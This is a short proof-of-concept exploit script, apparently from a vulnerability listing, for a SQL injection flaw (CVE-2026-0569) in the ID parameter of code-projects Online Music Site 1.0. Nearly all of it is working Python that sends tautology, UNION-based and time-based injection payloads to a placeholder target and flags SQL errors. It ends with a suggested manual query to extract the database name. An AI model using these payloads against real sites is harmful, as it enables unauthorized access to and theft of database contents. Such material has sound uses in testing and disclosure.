CVE-2026-0569 code-projects Online Music Site 1.0 SQL注入漏洞

import requests # CVE-2026-0569 SQL Injection PoC # Target: code-projects Online Music Site 1.0 # Vulnerability: SQL Injection in /Frontend/AlbumByCategory.php (ID parameter) target_url = "http://target-site.com/Frontend/AlbumByCategory.php" # Basic SQL Injection test payload payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL-- -", "1' AND SLEEP(5)-- -", "1' UNION SELECT 1,2,3,4,5,6,7,8-- -" ] print("[*] CVE-2026-0569 SQL Injection PoC") print(f"[*] Target: {target_url}") for payload in payloads: params = {"ID": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Sent payload: {payload}") print(f"[+] Status code: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for SQL error indicators if "sql" in response.text.lower() or "mysql" in response.text.lower(): print("[!] SQL error detected - vulnerability confirmed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Manual verification recommended") print("[*] Try: /Frontend/AlbumByCategory.php?ID=1' UNION SELECT database()-- -")